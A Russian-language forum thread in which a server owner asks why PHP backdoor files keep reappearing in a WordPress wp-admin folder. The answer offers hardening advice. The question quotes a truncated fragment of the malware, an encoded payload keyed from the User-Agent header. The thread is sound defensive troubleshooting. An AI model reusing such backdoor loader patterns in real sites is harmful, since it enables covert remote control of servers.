Как появляется этот вирус? (Centos 7/Apache/Nginx)
Имею VDS с CentOS 7, Вебсервер Apache MPM-Prefork/Nginx, на нем 5 сайтов, 2 из которых на wordpress (последние версии, постоянно обновляю).
Периодически антивирус ImunifyAV находит файлы в папке site.com/wp-admin/user с похожим названием help-tabs-Az0nZP.php. (примерное содержание этих файлов ниже).
Что делал – менял пароли везде (root, админка), менял права доступа к .htaccess и wp-config.php на 440. Обновления вроде вставлю ядра итп, все автоматически обновляется.
Не могу понять, как эти файлы появляются и где дыра.
<?php
$string = 'p1qi/LukEIMREd...A8PPE0XLog';
$ktmp = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/pleWebk(.*) \(/is',$ktmp,$kk)){
$key = $kk[1];
$key = str_replace('/','p@',$key);
}else{
die();
}
...
Ответы (1 шт):
Автор решения: KAGG Design
→ Ссылка
Проблемы могут быть в нескольких местах.
- "5 сайтов, 2 из них WordPress". Если php код на всех сайтах выполняется под одним пользователем Linux, то заражение может идти с любого сайта. Достаточно взломать самописный php-сайт (а это распространённый случай), и с него уже можно вносить изменения в соседние сайты.
- Права доступа. Владелец файлов WP сайта должен быть тот пользователь, под которым выполняется php. Права - 755/644 на файлы/папки.
- Избегайте самописных тем и плагинов - их авторы, как правило, не имеют представления о том, что такое безопасный код. Пользуйтесь решениями из официального репозитория WordPress.
- Исключите использование взломанных тем или плагинов - это почти 100% гарантия того, что в них содержатся вирусы и бэкдоры (а вы думали, их взламывают из альтруизма?).
- Установите Wordfence плагин - он обеспечит непрерывный мониторинг и защиту WP сайта.
- Смените все пароли администраторов WP сайтов на надёжные. Заражение сайта может идти через банальную утечку пароля.